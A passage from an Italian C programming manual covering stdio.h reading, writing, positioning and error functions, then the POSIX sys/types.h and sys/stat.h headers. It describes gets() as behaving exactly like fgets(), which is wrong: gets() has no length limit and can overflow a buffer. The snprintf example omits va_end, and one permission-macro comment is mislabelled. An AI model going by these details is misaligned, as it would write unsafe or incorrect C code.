La funzione ***fgets()*** legge al massimo $n-1$ caratteri (nel senso di elementi '**`char`**') attraverso il flusso di file ***stream***, copiandoli in memoria a partire dall'indirizzo ***s*** e aggiungendo alla fine il carattere nullo di terminazione delle stringhe. La lettura si esaurisce prima di $n-1$ caratteri se viene incontrato il codice di interruzione di riga, il quale viene rappresentato nella stringa a cui punta ***s***, ovvero se si raggiunge la fine del file. In ogni caso, la stringa ***s*** viene terminata correttamente con il carattere nullo.

La funzione ***fgets()*** restituisce la stringa ***s*** se la lettura avviene con successo, ovvero se ha prodotto almeno un carattere; altrimenti, il contenuto dell'array a cui punta ***s*** non viene modificato e la funzione restituisce il puntatore nullo. Se si creano errori imprevisti, la funzione potrebbe restituire il puntatore nullo, ma senza garantire che l'array ***s*** sia rimasto intatto.

La funzione ***fputs()*** serve a copiare la stringa a cui punta ***s*** nel file rappresentato dal flusso di file ***stream***. La copia della stringa avviene escludendo però il carattere nullo di terminazione. Va osservato che questa funzione, pur essendo contrapposta evidentemente a ***fgets()***, **non conclude la riga** del file, ovvero, non aggiunge il codice di interruzione di riga. Per ottenere la conclusione della riga di un file di testo, occorre inserire nella stringa, espressamente, il carattere '**`\n`**'.

La funzione ***fputs()*** restituisce il valore rappresentato da '**`EOF`**' se l'operazione di scrittura produce un errore; altrimenti restituisce un valore positivo qualunque.

Le funzioni ***gets()*** e ***puts()*** sono utili per l'accesso a file di testo, quando si vogliono utilizzare i flussi standard. In linea di massima, assomigliano a ***fgets()*** e ***fputs()***, ma il funzionamento non è perfettamente conforme a quelle:

```
char *gets (char *s);

int   puts (const char *s);
```

Il funzionamento di ***gets()*** è perfettamente conforme a quello di ***fgets()***, con la sola differenza che il flusso di file da cui si leggono i caratteri è lo standard input. Nel caso di ***puts()***, a parte il fatto che si usa lo standard output per la scrittura, occorre sottolineare che alla fine della stringa **viene accodata la scrittura del codice di interruzione di riga**.

80.17.13 Funzioni per l'input e output diretto

Le funzioni ***fread()*** e ***fwrite()*** consentono di leggere e scrivere attraverso un flusso di file aperto, il quale deve essere specificato espressamente tra gli argomenti. Lo standard prescrive che queste funzioni si avvalgano rispettivamente di ***fgetc()*** e di ***fputc()***.

```
size_t fread  (void *restrict ptr,
                size_t size,
                size_t nmemb,
                FILE *restrict stream);

size_t fwrite (const void *restrict ptr,
                size_t size,
                size_t nmemb,
                FILE *restrict stream);
```

Le due funzioni (***fread()*** e ***fwrite()***) hanno praticamente gli stessi argomenti, usati in modo analogo. La lettura e la scrittura avviene a blocchi da ***size*** byte, ripetuta per ***nmemb*** volte, attraverso il flusso di file specificato come ***stream***. La lettura implica la memorizzazione dei caratteri in forma di elementi '**`unsigned char`**', a partire dall'indirizzo indicato dal puntatore ***ptr***; la scrittura copia nello stesso modo i caratteri a partire dal puntatore ***ptr***, verso il flusso di file.

L'aggiornamento della posizione corrente interna al file a cui si riferisce il flusso avviene esattamente come per le funzioni ***fgetc()*** e ***fputc()***.

Il valore restituito dalle funzioni ***fread()*** e ***fwrite()*** rappresenta la quantità di blocchi, ovvero la quantità di elementi ***nmemb*** che sono stati copiati con successo. Pertanto, se si ottiene un valore inferiore a ***nmemb***, significa che l'operazione è stata interrotta a causa di un errore.

80.17.14 Funzioni per il posizionamento

Sono previste diverse funzioni per modificare la posizione corrente dei flussi di file. Le funzioni più semplici, per iniziare sono ***fseek()***, ***ftell()*** e ***rewind()***:

```
int      fseek  (FILE *stream, long int offset, int whence);
long int ftell  (FILE *stream);
void     rewind (FILE *stream);
```

Lo standard POSIX prevede anche le funzioni ***fseeko()*** e ***ftello()***, equivalenti alle funzioni ***fseek()*** e ***ftell()*** dello standard C, con la differenza che lo scostamento, fornito come argomento o restituito dalla funzione, è di tipo '**`off_t`**', al posto di essere di tipo '**`long int`**':

POSIX

```
int      fseeko (FILE *stream, off_t offset, int whence);
off_t    ftello (FILE *stream);
```

In generale, le funzioni ***fseek()*** e ***fseeko()*** spostano la posizione corrente relativa al flusso di file ***stream***, nella nuova posizione determinata dai parametri ***whence*** e ***offset***. Il parametro ***whence*** viene fornito attraverso una macro-variabile che può essere ***SEEK_SET***, ***SEEK_CUR*** o ***SEEK_END***, indicando rispettivamente l'inizio del file, la posizione corrente o la fine del file. Dalla posizione indicata dal parametro ***whence*** viene aggiunta, algebricamente, la quantità di byte indicata dal parametro ***offset***.

Quanto descritto a proposito del posizionamento con le funzioni ***fseek()*** e ***fseeko()*** riguarda i file che vengono gestiti in modo binario, perché con i file di testo è opportuno avere maggiore accortezza: il valore del parametro ***offset*** deve essere zero, oppure quanto restituito in precedenza dalle funzioni ***ftell()*** o ***ftello()*** per lo stesso flusso di file, ma in tal caso, ovviamente, il parametro ***whence*** deve corrispondere a ***SEEK_SET***.

Le funzioni ***fseek()*** e ***fseeko()*** restituiscono zero se possono eseguire l'operazione, altrimenti danno un risultato diverso; nel caso di ***fseeko()***, quando si presenta un errore, il risultato restituito è precisamente -1, e in più viene aggiornata anche la variabile ***errno***.

Le funzioni ***ftell()*** e ***ftello()*** restituiscono la posizione corrente del flusso di file indicato come argomento. Questo valore può essere usato con ***fseek()*** o ***fseeko()*** rispettivamente, al posto dello scostamento (il parametro ***offset***), indicando come posizione di riferimento l'inizio del file, ovvero ***SEEK_SET***. Se le funzioni ***ftell()*** e ***ftello()*** non riescono a fornire la posizione, restituiscono il valore -1 (tradotto rispettivamente in '**`long int`**' e '**`off_t`**') e annotano il fatto nella variabile ***errno***.

La funzione ***rewind()*** si limita a riposizionare il flusso di file all'inizio. In pratica è come utilizzare la funzione ***fseek()*** specificando uno scostamento pari a zero a partire da '**`SEEK_SET`**', ignorando il valore restituito:

```
(void) fseek (stream, 0L, SEEK_SET)
```

Va osservato che il riposizionamento di un flusso di file implica l'azzeramento dell'indicatore di fine file, se questo risulta impostato, e la cancellazione dei caratteri che eventualmente fossero stati rimandati indietro con la funzione ***ungetc()***.

Le funzioni ***fseek()*** e '**ftell**' sono utili particolarmente per i file binari ed eventualmente i file di testo con una rappresentazione dei caratteri tradizionale. Ma quando il file di testo contiene anche caratteri espressi attraverso sequenze multibyte, il posizionamento al suo interno dovrebbe tenere anche conto del progresso nell'interpretazione di queste sequenze. Pertanto, esistono altre due funzioni per leggere la posizione e ripristinarla in un secondo momento:

```
int fgetpos (FILE *restrict stream, fpos_t *restrict pos);
int fsetpos (FILE *stream, const fpos_t *pos);
```

Entrambe le funzioni che appaiono nei due prototipi restituiscono zero se l'operazione è stata compiuta con successo, altrimenti restituiscono un valore differente. Nel caso particolare di ***fsetpos()***, nel caso si verifichi un errore, questo viene annotato nella variabile ***errno***.

Le due funzioni richiedono come primo argomento il flusso di file a cui ci si riferisce; come secondo argomento richiedono il puntatore a una variabile di tipo '**fpos_t**'. La funzione ***fgetpos()*** memorizza nella variabile a cui punta il parametro ***pos*** le informazioni sulla posizione corrente del file, assieme allo stato di interpretazione relativo alle sequenze multibyte; la funzione ***fsetpos()***, per converso, utilizza la variabile a cui punta ***pos*** per ripristinare la posizione memorizzata, assieme allo stato di avanzamento dell'interpretazione di una sequenza multibyte.

80.17.15 Accesso esclusivo ai flussi di file

POSIX

Lo standard POSIX, introducendo la gestione dei thread multipli, inserisce nel file 'stdio.h' alcune funzioni per controllare l'accesso esclusivo ai flussi di file. Va tenuto a mente che si tratta di un controllo che riguarda esclusivamente il processo elaborativo in corso, e non l'accesso ai file da parte di processi differenti.

```
void flockfile   (FILE *stream);
int  trylockfile (FILE *stream);
void funlockfile (FILE *stream);
```

La funzione ***flockfile()*** cerca di ottenere un accesso esclusivo a un file, individuato da un puntatore che rappresenta il flusso di file relativo. Se il file risulta già impegnato, rimane in attesa, fino a quando si libera. La funzione ***trylockfile()***, invece, non rimane in attesa e restituisce l'esito della sua azione: zero se è riuscita a ottenere l'accesso esclusivo, un numero diverso se invece non c'è riuscita. Quando poi un thread che aveva ottenuto l'accesso esclusivo a un flusso di file, non ne ha più bisogno, lo libera con la funzione ***funlockfile()***.

Le funzioni ***getc()***, ***putc()***, ***getchar()*** e ***putchar()***, quando sono presenti le estensioni per la gestione dei thread multipli, e di conseguenza anche per l'accesso esclusivo ai flussi di file, si comportano rispettando tali vincoli. Eventualmente, se per qualche ragione si vogliono usare queste funzionalità, ignorando espressamente tali vincoli, sono disponibili funzioni equivalenti, il cui nome termina per '**_unlocked**':

```
int getc_unlocked (FILE *stream);
int putc_unlocked (int c, FILE *stream);
int getchar_unlocked (void);
int putchar_unlocked (int c);
```

Lo standard POSIX prescrive comunque che queste siano usate solo da thread che hanno già ottenuto un accesso esclusivo al flusso relativo, in modo da non compromettere la gestione controllata di tali accessi. Pertanto, in tal modo queste funzioni consentono semplicemente un'esecuzione più rapida, dal momento che non vengono eseguiti tutti i controlli necessari.

80.17.16 Condotti

POSIX

Lo standard POSIX introduce il concetto di «condotto», ovvero di *pipe*, attraverso il quale è possibile inviare lo standard output di un processo elaborativo, verso lo standard input di un altro. Per attuare questo meccanismo, è necessario che un processo sia in grado di avviare un altro processo, attraverso un comando da dare alla shell, e da questo processo viene poi letto lo standard output o scritto lo standard input.

Dal punto di vista del processo che crea il condotto, il processo secondario avviato è trattato come se fosse un file, dover però si può solo leggere o scrivere, ma non si possono fare entrambe le cose.

```
FILE *popen  (const char *command, const char *type);
int   pclose (FILE *stream);
```

Il condotto viene aperto con la funzione ***popen()***, la quale assomiglia a ***fopen()***, ma invece dell'indicazione del percorso del file da aprire, richiede il comando da eseguire attraverso la shell '`/bin/sh`' (nota come la shell POSIX). Per quanto riguarda il tipo di accesso, va osservato che può trattarsi soltanto di lettura o scrittura, pertanto si può scegliere solo tra la stringa '**`"r"`**' o '**`"w"`**'.

La lettura o la scrittura in un flusso di file associato a un condotto avviene nel modo consueto, ma la chiusura richiede l'uso della funzione ***pclose()***.

80.17.17 Informazioni sul terminale

Lo standard POSIX prevede che il sistema operativo abbia una gestione dei file di dispositivo per rappresentare i vari componenti fisici dell'elaboratore. Nel file '`stdio.h`' inserisce la funzione ***ctermid()***, con lo scopo di conoscere il percorso del file di dispositivo del terminale associato al processo elaborativo.

POSIX

```
char *ctermid (char *s);
```

La funzione si aspetta di ricevere come argomento il puntatore a una stringa modificabile, in cui scrivere il percorso del terminale. Se però viene fornito un puntatore nullo, l'informazione viene annotata in un'area di memoria che può essere statica (e quindi riutilizzata a ogni chiamata della funzione). Il percorso del terminale, annotato dalla funzione, può utilizzare al massimo la quantità di caratteri definita dalla macro-variabile ***L_ctermid***; pertanto, se si definisce un array di caratteri da usare per tale annotazione, deve essere almeno quella dimensione.

La funzione restituisce sempre il puntatore a una stringa, che può essere nulla se non è possibile determinare il terminale. Pertanto la funzione non prevede l'indicazione di errori.

80.17.18 Gestione degli errori

Un gruppo di funzioni di '`stdio.h`' consente di verificare ed eventualmente azzerare lo stato degli indicatori di errore riferiti a un certo flusso di file:

```
void clearerr (FILE *stream);
int  feof     (FILE *stream);
int  ferror   (FILE *stream);
void perror   (const char *s);
```

La funzione ***clearerr()*** azzera gli indicatori di errore e di fine file per il flusso di file indicato come argomento, senza restituire alcunché.

La funzione ***feof()*** controlla lo stato dell'indicatore di fine file per il flusso di file indicato. Se questo non è attivo restituisce zero, altrimenti restituisce un valore diverso da zero.

La funzione ***ferror()*** controlla lo stato dell'indicatore di errore per il flusso di file indicato. Se questo non è attivo restituisce zero, altrimenti restituisce un valore diverso da zero.

La funzione ***perror()*** prende in considerazione la variabile ***errno*** e cerca di tradurla in un messaggio testuale da emettere attraverso lo standard error (con tanto di terminazione della riga, in modo da riposizionare a capo il cursore). Se il parametro ***s*** corrisponde a una stringa non vuota, il testo di questa viene posto anteriormente al messaggio, separandolo con due punti e uno spazio ('`: `'). Il contenuto del messaggio è lo stesso che si otterrebbe con la funzione ***strerror()***, fornendo come argomento la variabile ***errno***.

80.17.19 Realizzazione di «vsnprintf()» e altre collegate

Le funzioni per la composizione dell'output che possono essere realizzate senza avere definito la gestione dei file, sono quelle che si limitano a produrre una stringa. La funzione che va realizzata per prima è ***vsnprintf()***, in quanto ***snprintf()*** si può limitare a richiamarla. Naturalmente, anche ***vsprintf()*** e ***sprintf()*** possono avvalersi della stessa ***vsnprintf()***, ponendo un limite massimo abbastanza grande alla stringa da generare. Nella sezione i10.4.10 è disponibile un esempio di realizzazione parziale di ***vsnprintf()***. L'esempio seguente mostra come si ottiene ***snprintf()***, una volta che è disponibile ***vsnprintf()***:

```
#include <stdio.h>
int
snprintf (char *restrict string, size_t n, const char *restrict format, ...)
{
  va_list ap;
  va_start (ap, format);
  return vsnprintf (string, n, format, ap);
}
```

Eventualmente, per realizzare le funzioni ***vsprintf()*** e ***sprintf()***, secondo le limitazioni già descritte, sono sufficienti due macro-istruzioni:

```
#define vsprintf(s, format, arg) (vsnprintf (s, SIZE_MAX, format, arg))
#define sprintf(s, ...)          (snprintf (s, SIZE_MAX, __VA_ARGS__))
```

80.18 Riferimenti

- Wikipedia, *C standard library*

  ⟨*http://en.wikipedia.org/wiki/C_standard_library*⟩

- *ISO/IEC 9899:TC2*

  ⟨*http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1124.pdf*⟩

- Wikipedia, *assert.h*, *limits.h*, *stdint.h*, *errno.h*, *locale.h*, *ctype.h*, *stdarg.h*, *stdlib.h*, *inttypes.h*, *iso646.h*, *stdbool.h*, *stddef.h*, *string.h*, *signal.h*, *time.h*, *stdio.h*

  ⟨*http://en.wikipedia.org/wiki/Assert.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Limits.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Stdint.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Errno.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Locale.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Ctype.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Stdarg.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Stdlib.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Inttypes.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Iso646.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Stdbool.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Stddef.h*⟩

  ⟨*http://en.wikipedia.org/wiki/String.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Signal.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Time.h*⟩

  ⟨*http://en.wikipedia.org/wiki/Stdio.h*⟩

- The Open Group, *The Single UNIX® Specification, Version 2*, *assert.h*, *limits.h*, *stdint.h*, *errno.h*, *locale.h*, *ctype.h*, *stdarg.h*, *stdlib.h*, *inttypes.h*, *iso646.h*, *stdbool.h*, *stddef.h*, *string.h*, *signal.h*, *time.h*, *stdio.h*

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/assert.h.html*⟩

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/limits.h.html*⟩

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/stdint.h.html*⟩

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/errno.h.html*⟩

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/locale.h.html*⟩

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/ctype.h.html*⟩

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/stdarg.h.html*⟩

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/stdlib.h.html*⟩

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/inttypes.h.html*⟩

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/iso646.h.html*⟩

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/stdbool.h.html*⟩

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/stddef.h.html*⟩

⟨*http://opengroup.org/onlinepubs/000095399/basedefs/string.h.html* ⟩

⟨*http://opengroup.org/onlinepubs/000095399/basedefs/signal.h.html* ⟩

⟨*http://opengroup.org/onlinepubs/000095399/basedefs/time.h.html* ⟩

⟨*http://opengroup.org/onlinepubs/000095399/basedefs/stdio.h.html* ⟩

- Steven Pemberton, *Enquire: Everything you wanted to know about your C Compiler and Machine, but didn't know who to ask*

  ⟨*http://homepages.cwi.nl/~steven/enquire.html* ⟩

[1] Il carattere viene convertito da '**unsigned char**' a '**int**'.

[2] Si tratta di un puntatore di puntatore, solo perché si deve poter alterare ciò a cui punta, ma questo tipo di valore è, a sua volta, un puntatore.

[3] Il tipo '**size_t**', restituito dalle funzioni, è un intero senza segno; pertanto, in condizioni normali, ovvero con una rappresentazione dei valori negativi con il complemento a due, la conversione di −1 si traduce nel valore massimo rappresentabile.

[4] Lo standard POSIX non estende il contenuto del file 'inttypes.h'.

[5] Lo standard POSIX non estende il file 'iso646.h'.

[6] Lo standard POSIX non estende il file 'stdbool.h'

[7] Lo standard POSIX non estende il file 'stddef.h'.

[8] Il valore positivo massimo è $(2^{31})-1$, il quale, diviso per la quantità di secondi di un giorno (86400) dà 24855 che, diviso 365, dà circa 68 anni.

[9] Il caso della funzione ***clock()*** e del tipo '**clock_t**' è stato considerato a parte.

[10] Si tratta di byte: se il testo copiato è costituito da sequenze multibyte, i byte sono in quantità maggiore rispetto ai caratteri tipografici che si ottengono.

[11] L'arretramento di un carattere nella posizione corrente di un file di testo non è detto corrisponda alla sottrazione di una unità, perché bisogna tenere in considerazione il modo in cui un file di testo è strutturato nel proprio sistema operativo.

Capitolo 81

Libreria POSIX

81.1 File «sys/types.h» 4861

81.2 File «sys/stat.h» 4863

81.2.1 Macro-variabili per la definizione del contenuto di un valore di tipo «mode_t» 4863

81.2.2 Struttura «stat» 4865

81.2.3 Prototipi di funzione 4865

81.3 File «strings.h» 4866

81.3.1 Funzione «ffs()» 4866

81.3.2 Funzioni «strcasecmp()» e «strncasecmp()» 4866

81.4 File «fcntl.h» 4867

81.4.1 Tipi di dati derivati 4867

81.4.2 Opzioni per la funzione «fcntl()» 4867

81.4.3 Gestione del blocco dei file 4869

81.4.4 Funzioni 4870

81.5 File «unistd.h» 4871

81.5.1 Denominazione dei descrittori di file 4872

81.5.2 Verifica dei permessi di accesso 4872

81.5.3 Funzioni 4872

81.5.4 Funzioni di servizio per la gestione di file e directory 4874

81.6 File «dirent.h» 4879

81.6.1 Struttura «dirent» 4879

81.6.2 Tipo «DIR» 4880

81.6.3 Prototipi di funzioni 4880

81.7 File «termios.h» 4881

81.7.1 Tipi speciali 4881

81.7.2 Tipo «struct termios» 4881

81.7.3 Codici di controllo 4881

81.7.4 Indicatori per il membro «c_iflag» 4882

81.7.5 Indicatori per il membro «c_oflag» 4882

81.7.6 Indicatori per il membro «c_cflag» 4882

81.7.7 Indicatori per il membro «c_lflag» 4883

81.7.8 Funzioni 4883

81.8 Riferimenti 4884

access() 4872 4874 alarm() 4872 blkcnt_t 4861 blksize_t 4861 BRKINT 4882 cc_t 4881 chdir() 4872 4877 chmod() 4865 chown() 4872 clock_t 4861 close() 4872 closedir() 4880 confstr() 4872 creat() 4870 dev_t 4861 DIR 4880 dirent.h 4879 dup() 4872 dup2() 4872 ECHO 4883 ECHOE 4883 ECHOK 4883 ECHONL 4883 execl() 4872 execle() 4872 execlp() 4872 execv() 4872 execve() 4872 execvp() 4872 fchmod() 4865 fchown() 4872 fcntl() 4870 fcntl.h 4867 FD_CLOEXEC 4867 ffs() 4866 fork() 4872 fpathconf() 4872 fstat() 4865 ftruncate() 4872 F_DUPFD 4867 F_GETFD 4867 F_GETFL 4867 F_GETLK 4867 F_GETOWN 4867 F_OK 4872 F_RDLCK 4869 F_SETFD 4867 F_SETFL 4867 F_SETLK 4867 F_SETLKW 4867 F_SETOWN 4867 F_UNLCK 4869 F_WRLCK 4869 getcwd() 4872 4876 getegid() 4872 geteuid() 4872 getgid() 4872 getgroups() 4872 gethostname() 4872 getlogin() 4872 getlogin_r() 4872 getopt() 4872 getpgrp() 4872 getpid() 4872 getppid() 4872 getuid() 4872 gid_t 4861 ICANON 4883 ICRNL 4882 id_t 4861 IEXTEN 4883 IGNBRK 4882 IGNCR 4882 IGNPAR 4882 INLCR 4882 ino_t 4861 INPCK 4882 isatty() 4872 ISIG 4883 ISTRIP 4882 IXOFF 4882 IXON 4882 link() 4872 4878 lseek() 4872 lstat() 4865 mkdir() 4865 mkfifo() 4865 mknod() 4865 mode_t 4861 4863 NCCS 4881 nlink_t 4861 NOFLSH 4883 off_t 4861 open() 4870 opendir() 4880 OPOST 4882 O_ACCMODE 4867 O_APPEND 4867 O_CREAT 4867 O_DSYNC 4867 O_EXCL 4867 O_NOCTTY 4867 O_NONBLOCK 4867 O_RDONLY 4867 O_RDWR 4867 O_RSYNC 4867 O_SYNC 4867 O_TRUNC 4867 O_WRONLY 4867 PARMRK 4882 pathconf() 4872 pause() 4872 pid_t 4861 pipe() 4872 pthread_t 4861 read() 4872 readdir() 4880 readlink() 4872 rewinddir() 4880 rmdir() 4872 R_OK 4872 setegid() 4872 seteuid() 4872 setgid() 4872 setpgid() 4872 setsid() 4872 setuid() 4872 size_t 4861 sleep() 4872 speed_t 4881 ssize_t 4861 stat() 4865 stat.h 4863 STDERR_FILENO 4872 STDIN_FILENO 4872 STDOUT_FILENO 4872 strcasecmp() 4866 strings.h 4866 strncasecmp() 4866 structure stat 4865 struct dirent 4879 struct termios 4881 st_atime 4865 st_blksize 4865 st_blocks 4865 st_ctime 4865 st_dev 4865 st_gid 4865 st_ino 4865 st_mode 4865 st_mtime 4865 st_nlink 4865 st_rdev 4865 st_size 4865 st_uid 4865 symlink() 4872 sys/types.h 4861 sysconf() 4872 S_IFBLK 4863 S_IFCHR 4863 S_IFDIR 4863 S_IFIFO 4863 S_IFLNK 4863 S_IFMT 4863 S_IFREG 4863 S_IFSOCK 4863 S_IRGRP 4863 S_IROTH 4863 S_IRUSR 4863 S_IRWXG 4863 S_IRWXO 4863 S_IRWXU 4863 S_ISBLK() 4863 S_ISCHR() 4863 S_ISDIR() 4863 S_ISFIFO() 4863 S_ISGID 4863 S_ISLNK() 4863 S_ISREG() 4863 S_ISSOCK() 4863 S_ISUID 4863 S_ISVTX 4863 S_IWGRP 4863 S_IWOTH 4863 S_IWUSR 4863 S_IXGRP 4863 S_IXOTH 4863 S_IXUSR 4863 tcflag_t 4881 tcgetattr() 4883 tcgetpgrp() 4872 TCSADRAIN 4883 TCSAFLUSH 4883 TCSANOW 4883 tcsetattr() 4883 tcsetpgrp() 4872 termios.h 4881 time_t 4861 TOSTOP 4883 ttyname() 4872 ttyname_r() 4872 uid_t 4861 umask() 4865 unistd.h 4871 unlink() 4872 4878 VEOF 4881 VEOL 4881 VERASE 4881 VINTR 4881 VKILL 4881 VMIN 4881 VQUIT 4881 VSTART 4881 VSTOP 4881 VSUSP 4881 VTIME 4881 write() 4872 W_OK 4872 X_OK 4872 _exit() 4872

In generale, la libreria offerta da un compilatore del linguaggio C si può estendere in modo imprecisato verso le definizioni dello standard POSIX. Per esempio, è normale che una libreria C includa le funzionalità relative alla gestione delle espressioni regolari, definite dallo standard POSIX. Pertanto, non esiste propriamente una libreria C e una POSIX, va quindi verificato con il proprio compilatore cosa offrono effettivamente le librerie disponibili, specificando eventualmente, in fase di compilazione, l'inclusione di questa o quella libreria precompilata

per la gestione di quella certa funzionalità POSIX.

Nei capitoli successivi vengono descritti alcuni dei file di intestazione previsti dallo standard POSIX, che a loro volta non sono già presi in considerazione dallo standard del linguaggio C. In certi casi viene mostrato come potrebbero essere realizzati questi file (gli esempi dovrebbero essere disponibili a partire da ⟨*allegati/c/*⟩).

Tabella 81.1. Alcuni file di intestazione dello standard POSIX che non si trovano già nello standard del linguaggio C.

Intestazione	Descrizione	Riferimenti
`sys/types.h`	Tipi di dati derivati.	sezione 81.1
`sys/stat.h`	Definizione dei dati restituiti dalla funzione ***stat()***, necessari alla qualificazione delle caratteristiche dei file, e di alcune funzioni alla questione.	sezione 81.2
`strings.h`	Funzioni per il trattamento delle stringhe e simili che non sono già incluse in '`string.h`'.	sezione 81.3
`fcntl.h`	Opzioni per il controllo dei file, gestiti in qualità di descrittori.	sezione 81.4
`unistd.h`	Macro-variabili standard e molte funzioni sulla gestione dei file.	sezione 81.5
`dirent.h`	Gestione delle directory, in qualità di flussi, attraverso puntatori di tipo '**`DIR *`**'.	sezione 81.6
`termios.h`	Configurazione dei dispositivi di terminale.	sezione 81.7

81.1 File «sys/types.h»

Il file '`sys/types.h`' viene usato dallo standard POSIX per definire tutti i tipi di dati derivati, inclusi alcuni che già fanno parte dello standard C puro e semplice (si veda eventualmente la realizzazione di questo file nei sorgenti di os16, sezione 106.14, oppure di os32, sezione 120.17). La tabella successiva ne descrive solo una parte.

Tipo derivato	Descrizione
`blkcnt_t`	Numero intero con segno. Quantità di blocchi, riferita ai file.
`blksize_t`	Numero intero con segno. Dimensione in blocchi di un file.
`clock_t`	Numero intero. Unità di tempo che rappresenta un ciclo virtuale di CPU. È già definito nel file '`time.h`'.
`dev_t`	Numero intero. Numero identificativo di un dispositivo.
`gid_t`	Numero intero senza segno. Numero identificativo del gruppo a cui appartiene un file.
`ino_t`	Numero intero senza segno. Numero inode, ovvero il numero identificativo di un file.
`mode_t`	Numero intero. Attributo di accesso di un file.
`nlink_t`	Numero intero senza segno. Quantità di collegamenti fisici riferiti a un file.

Tipo derivato	Descrizione
`off_t`	Numero intero con segno. Scostamento relativo al contenuto di un file.
`pid_t`	Numero intero con segno. Numero che identifica un processo elaborativo. Il segno è necessario perché il valore -1 rappresenta un errore nella creazione di un processo.
`pthread_t`	Numero intero. Numero identificativo di un thread.
`size_t`	Numero intero senza segno. Usato per esprimere la grandezza di oggetti rappresentati in memoria (variabili, distanza tra puntatori e simili). Nello standard C, questo tipo derivato viene definito nel file '`stddef.h`'.
`ssize_t`	Numero intero con segno (*signed size_t*). Usato per esprimere una quantità di byte, se positivo, oppure un errore se negativo.
`time_t`	Numero intero con segno. Usato per esprimere un tempo in secondi, trascorso a partire dal giorno 1 gennaio 1970. Nello standard C, questo tipo derivato viene definito nel file '`time.h`'.
`uid_t`	Numero intero senza segno. Numero identificativo dell'utente a cui appartiene un file.
`id_t`	Numero intero senza segno. Numero identificativo generico, in grado di ospitare il valore dei tipi '**`pid_t`**', '**`uid_t`**' e '**`gid_t`**'. Va tenuto in considerazione il fatto che un numero di identificazione di un processo deve essere positivo, salvo il caso in cui un valore negativo serva per indicare un errore; pertanto, il tipo '**`id_t`**' può essere definito come privo di segno.

L'esempio successivo mostra come potrebbero essere dichiarati questi tipi derivati, limitatamente ai casi descritti nella tabella:

```
typedef long int           blkcnt_t;
typedef long int           blksize_t;
typedef long int           clock_t;
typedef unsigned long int  dev_t;
typedef unsigned int       id_t;
typedef unsigned long int  ino_t;
typedef unsigned int       gid_t;
typedef unsigned int       mode_t;
typedef unsigned int       nlink_t;
typedef long long int      off_t;
typedef int                pid_t;
typedef unsigned long int  pthread_t;
typedef unsigned long int  size_t;
typedef long int           ssize_t;
typedef long int           time_t;
typedef unsigned int       uid_t;
```

81.2 File «sys/stat.h»

Il file 'sys/stat.h' viene usato dallo standard POSIX principalmente per definire un insieme di macro-variabili che individuano le caratteristiche fondamentali di un file (tipo di file e permessi), per definire il tipo '**struct stat**' che serve a rappresentare lo stato di un file, per dichiarare il prototipo di alcune funzioni che hanno a che fare con queste informazioni (si veda eventualmente la realizzazione del file 'sys/stat.h' e di alcune delle sue funzioni nei sorgenti di os16, sezione 106.13, oppure di os32, sezione 120.16).

È importante considerare il file 'sys/stat.h' assieme a 'fcntl.h'.

Nel file 'sys/stat.h' si fa riferimento a un insieme di tipi derivati, dichiarati nel file 'sys/types.h'. Per semplicità, l'esempio propone la sua inclusione iniziale:

```
#include <sys/types.h>  // dev_t
                        // off_t
                        // blkcnt_t
                        // blksize_t
                        // ino_t
                        // mode_t
                        // nlink_t
                        // uid_t
                        // gid_t
                        // time_t
```

81.2.1 Macro-variabili per la definizione del contenuto di un valore di tipo «mode_t»

Il tipo derivato '**mode_t**' serve a rappresentare il tipo di un file (o di una directory) e i permessi disponibili. Questo tipo si traduce generalmente in un intero a 16 bit. Trattandosi di un valore numerico, queste informazioni sono distinte a gruppi di bit, selezionabili attraverso una maschera. Pertanto, tra le macro-variabili che distinguono le varie caratteristiche associabili a una variabile di tipo '**mode_t**', alcune vanno usate come maschera, per distinguere un certo insieme di informazioni, dalle altre.

```
//
// Tipo di file.
//
#define S_IFMT   0170000        // Maschera del tipo di file.
//
#define S_IFBLK  0060000        // File di dispositivo a blocchi.
#define S_IFCHR  0020000        // File di dispositivo a caratteri.
#define S_IFIFO  0010000        // File FIFO.
#define S_IFREG  0100000        // File puro e semplice (regular file).
#define S_IFDIR  0040000        // Directory.
#define S_IFLNK  0120000        // Collegamento simbolico.
#define S_IFSOCK 0140000        // Socket di dominio Unix.
//
// Permessi di accesso dell'utente proprietario del file.
//
#define S_IRWXU  0000700        // Maschera che rappresenta simultaneamente
```

```
                                 // tutti i permessi per l'utente proprietario.
#define S_IRUSR  0000400        // Permesso di lettura.
#define S_IWUSR  0000200        // Permesso di scrittura.
#define S_IXUSR  0000100        // Permesso di esecuzione o attraversamento.
//
// Permessi di accesso del gruppo proprietario del file.
//
#define S_IRWXG  0000070        // Maschera che rappresenta simultaneamente
                                 // tutti i permessi per il gruppo proprietario.
#define S_IRGRP  0000040        // Permesso di lettura.
#define S_IWGRP  0000020        // Permesso di scrittura.
#define S_IXGRP  0000010        // Permesso di esecuzione o attraversamento.
//
// Permessi di accesso degli altri utenti.
//
#define S_IRWXO  0000007        // Maschera che rappresenta simultaneamente
                                 // tutti i permessi per il gruppo proprietario.
#define S_IROTH  0000004        // Permesso di lettura.
#define S_IWOTH  0000002        // Permesso di scrittura.
#define S_IXOTH  0000001        // Permesso di esecuzione o attraversamento.
//
